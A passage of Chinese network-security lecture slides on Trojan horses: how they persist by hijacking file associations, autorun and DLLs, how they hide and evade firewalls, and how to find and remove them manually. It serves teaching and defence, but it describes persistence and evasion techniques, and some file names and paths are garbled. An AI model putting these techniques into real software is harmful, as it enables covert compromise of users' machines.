55、file下的shellopencommand的默认“%1”%*”改成“x: xxxbsy.exe”(木马程序的路径),让系统在执行.exe程序时就自动运行木马程序。通常修改的还有.txt文件关联txtfile,只要读取.txt文本文件就执行木马程序等。 4利用文件自动运行功能 例如在E盘根目录下新建一个文件,用记事本打开它,输入如下内容: autorun 保存后重新启动,进入“我的电脑”,然后双击E盘盘符,记事本被打开了,而E盘却没有打开。 5利用对动态连接库(DLL)的调用 黑客可以将木马程序捆绑到DLL上(如),当用户使用API函数时,黑客就会先启动木马程序,然后再调用真正的函数完成API

56、函数功能。 4.5.4 特洛伊木马端口 黑客所使用的客户端程序就可以进入木马打开的端口和木马进行通信。 每种木马所打开的端口不同,根据端口号可以识别不同的木马。 大多数木马使用的端口号在1024以上。4.5.5 特洛伊木马的隐藏 木马为了更好地隐藏自己,通常会将自己的位置放在c:windows和c:windowssystem32等系统目录中。 木马的服务程序命名也很狡猾,通常使用和系统文件相似的文件名。 如果黑客把木马程序取名为“ .exe”,其中是中文的全角空格,我们看到木马程序将是一个无文件名的文件。 有的木马具有很强的潜伏能力,表面上的木马程序被发现并被删除后,后备的木马在一定的条件下会

57、恢复被删除的木马。 4.5.6 特洛伊木马分类 1主动型木马 主动型木马原理图 2反弹型木马 反弹型木马原理图 黑客将安放在内部网络的反弹木马定时地连接外部攻击的主机,由于连接是从内部发起的,防火墙无法区分是木马的连接还是合法的连接。 3嵌入式木马 嵌入式木马是黑客将木马程序嵌入到己知的网络通信程序中(如IE浏览器、操作系统等),利用己知的网络通信程序来转发木马控制指令,躲过防火墙检测。4.5.7 特洛伊木马查杀 木马的查杀可以采用自动和手动两种方式。最简单的删除木马方法是安装杀毒软件或一些专杀木马的软件。 由于杀毒软件的升级要慢于木马的出现,因此学会手工查杀也是非常必要。 在手工删除木马之前

58、,最重要的一项工作是备份注册表,防止系统崩溃,备份你认为是木马的文件。如果不是木马就可以恢复,如果是木马就可以对木马进行分析。 1查看注册表 在HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersion和HKEY_CURRENT_USERSoftware MicrosoftWindowsCurrentVersion下所有以“Run”开头的键值名有没有可疑的文件名。 2检查启动组 启动组对应的文件夹为:C:windowsstart menuprogramsstartup,要经常检查启动组中是否有异常的文件。 3检查系统配置文件 检查、等系统配置文件。现在修改中Shell值的情况要多一些,如果在中看到:时,这个有可能就是木马程序。 4查看端口与进程 使用Windows本身自带的netstat -an命令就能查看到与本机建立连接的IP以及本机侦听的端口。也可以使用Active Ports工具监视计算机所有打开的TCP/IP

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论